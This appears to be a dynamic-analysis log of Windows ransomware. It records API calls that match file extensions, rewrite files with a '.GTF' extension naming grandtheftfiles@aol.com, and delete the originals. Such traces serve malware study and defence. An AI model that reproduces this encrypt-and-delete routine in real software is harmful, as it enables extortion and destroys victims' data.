	[0071.240] lstrlenW (lpString=".bz2") returned 4
	[0071.240] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.240] lstrlenW (lpString=".7z") returned 3
	[0071.240] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.240] lstrlenW (lpString=".dbf") returned 4
	[0071.240] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.240] lstrlenW (lpString=".1cd") returned 4
	[0071.240] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.240] lstrlenW (lpString=".jpg") returned 4
	[0071.240] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.240] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0071.240] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0071.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.241] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4222) returned 1
	[0071.241] CloseHandle (hObject=0x358) returned 1
	[0071.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0071.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.241] lstrlenW (lpString=".doc") returned 4
	[0071.241] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.241] lstrlenW (lpString=".docx") returned 5
	[0071.241] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.241] lstrlenW (lpString=".pdf") returned 4
	[0071.241] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.241] lstrlenW (lpString=".xls") returned 4
	[0071.241] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.241] lstrlenW (lpString=".xlsx") returned 5
	[0071.241] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.241] lstrlenW (lpString=".ppt") returned 4
	[0071.242] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString=".zip") returned 4
	[0071.242] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.242] lstrlenW (lpString=".rar") returned 4
	[0071.242] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.242] lstrlenW (lpString=".bz2") returned 4
	[0071.242] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.242] lstrlenW (lpString=".7z") returned 3
	[0071.242] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString=".dbf") returned 4
	[0071.242] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString=".1cd") returned 4
	[0071.242] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString=".jpg") returned 4
	[0071.242] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString=".doc") returned 4
	[0071.242] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.242] lstrlenW (lpString=".docx") returned 5
	[0071.242] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.242] lstrlenW (lpString=".pdf") returned 4
	[0071.242] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.242] lstrlenW (lpString=".xls") returned 4
	[0071.242] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.242] lstrlenW (lpString=".xlsx") returned 5
	[0071.242] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.242] lstrlenW (lpString=".ppt") returned 4
	[0071.242] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.242] lstrlenW (lpString=".zip") returned 4
	[0071.243] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.243] lstrlenW (lpString=".rar") returned 4
	[0071.243] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.243] lstrlenW (lpString=".bz2") returned 4
	[0071.243] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.243] lstrlenW (lpString=".7z") returned 3
	[0071.243] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.243] lstrlenW (lpString=".dbf") returned 4
	[0071.243] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.243] lstrlenW (lpString=".1cd") returned 4
	[0071.243] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0071.243] lstrlenW (lpString=".jpg") returned 4
	[0071.243] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.243] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0071.243] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0071.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.244] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=237) returned 1
	[0071.244] CloseHandle (hObject=0x358) returned 1
	[0071.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20
	[0071.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.244] lstrlenW (lpString=".doc") returned 4
	[0071.244] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.244] lstrlenW (lpString=".docx") returned 5
	[0071.244] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.244] lstrlenW (lpString=".pdf") returned 4
	[0071.244] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.244] lstrlenW (lpString=".xls") returned 4
	[0071.244] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.244] lstrlenW (lpString=".xlsx") returned 5
	[0071.244] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.244] lstrlenW (lpString=".ppt") returned 4
	[0071.244] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString=".zip") returned 4
	[0071.245] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString=".rar") returned 4
	[0071.245] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString=".bz2") returned 4
	[0071.245] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.245] lstrlenW (lpString=".7z") returned 3
	[0071.245] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString=".dbf") returned 4
	[0071.245] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString=".1cd") returned 4
	[0071.245] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString=".jpg") returned 4
	[0071.245] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString=".doc") returned 4
	[0071.245] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.245] lstrlenW (lpString=".docx") returned 5
	[0071.245] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.245] lstrlenW (lpString=".pdf") returned 4
	[0071.245] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString=".xls") returned 4
	[0071.245] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString=".xlsx") returned 5
	[0071.245] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.245] lstrlenW (lpString=".ppt") returned 4
	[0071.245] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.245] lstrlenW (lpString=".zip") returned 4
	[0071.245] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.245] lstrlenW (lpString=".rar") returned 4
	[0071.246] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.246] lstrlenW (lpString=".bz2") returned 4
	[0071.246] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.246] lstrlenW (lpString=".7z") returned 3
	[0071.246] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.246] lstrlenW (lpString=".dbf") returned 4
	[0071.246] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.246] lstrlenW (lpString=".1cd") returned 4
	[0071.246] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0071.246] lstrlenW (lpString=".jpg") returned 4
	[0071.246] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.246] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0071.246] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0071.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.247] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=6381) returned 1
	[0071.247] CloseHandle (hObject=0x358) returned 1
	[0071.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20
	[0071.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0071.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0071.247] lstrlenW (lpString=".doc") returned 4
	[0071.247] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.247] lstrlenW (lpString=".docx") returned 5
	[0071.247] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.247] lstrlenW (lpString=".pdf") returned 4
	[0071.247] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.247] lstrlenW (lpString=".xls") returned 4
	[0071.247] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.247] lstrlenW (lpString=".xlsx") returned 5
	[0071.247] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.248] lstrlenW (lpString=".ppt") returned 4
	[0071.248] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0071.248] lstrlenW (lpString=".zip") returned 4
	[0071.248] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.248] lstrlenW (lpString=".rar") returned 4
	[0071.248] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.248] lstrlenW (lpString=".bz2") returned 4
	[0071.248] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.248] lstrlenW (lpString=".7z") returned 3
	[0071.248] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0071.627] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.627] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.628] GetLastError () returned 0x0
	[0071.628] ReadFile (in: hFile=0x338, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3bac, lpOverlapped=0x0) returned 1
	[0071.630] WriteFile (in: hFile=0x320, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3bb0, lpOverlapped=0x0) returned 1
	[0071.631] ReadFile (in: hFile=0x338, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.631] WriteFile (in: hFile=0x320, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xee, lpOverlapped=0x0) returned 1
	[0071.631] SetEndOfFile (hFile=0x320) returned 1
	[0071.631] CloseHandle (hObject=0x320) returned 1
	[0071.632] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.632] SetEndOfFile (hFile=0x338) returned 1
	[0071.633] CloseHandle (hObject=0x338) returned 1
	[0071.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.633] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1
	[0071.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.634] lstrlenW (lpString=".doc") returned 4
	[0071.634] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.634] lstrlenW (lpString=".docx") returned 5
	[0071.634] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0071.634] lstrlenW (lpString=".pdf") returned 4
	[0071.634] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.634] lstrlenW (lpString=".xls") returned 4
	[0071.634] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.634] lstrlenW (lpString=".xlsx") returned 5
	[0071.634] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0071.634] lstrlenW (lpString=".ppt") returned 4
	[0071.634] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.634] lstrlenW (lpString=".zip") returned 4
	[0071.634] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.634] lstrlenW (lpString=".rar") returned 4
	[0071.634] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.634] lstrlenW (lpString=".bz2") returned 4
	[0071.634] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.634] lstrlenW (lpString=".7z") returned 3
	[0071.634] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.634] lstrlenW (lpString=".dbf") returned 4
	[0071.634] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.634] lstrlenW (lpString=".1cd") returned 4
	[0071.635] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString=".jpg") returned 4
	[0071.635] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString=".doc") returned 4
	[0071.635] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.635] lstrlenW (lpString=".docx") returned 5
	[0071.635] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0071.635] lstrlenW (lpString=".pdf") returned 4
	[0071.635] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.635] lstrlenW (lpString=".xls") returned 4
	[0071.635] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.635] lstrlenW (lpString=".xlsx") returned 5
	[0071.635] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0071.635] lstrlenW (lpString=".ppt") returned 4
	[0071.635] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString=".zip") returned 4
	[0071.635] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.635] lstrlenW (lpString=".rar") returned 4
	[0071.635] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.635] lstrlenW (lpString=".bz2") returned 4
	[0071.635] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.635] lstrlenW (lpString=".7z") returned 3
	[0071.635] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString=".dbf") returned 4
	[0071.635] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString=".1cd") returned 4
	[0071.635] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0071.635] lstrlenW (lpString=".jpg") returned 4
	[0071.635] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.636] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.636] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25
	[0071.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.063] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=153) returned 1
	[0073.066] CloseHandle (hObject=0x370) returned 1
	[0073.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20
	[0073.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.066] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.066] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0073.080] GetLastError () returned 0x0
	[0073.080] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x99, lpOverlapped=0x0) returned 1
	[0073.081] WriteFile (in: hFile=0x2d4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xa0, lpOverlapped=0x0) returned 1
	[0073.082] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
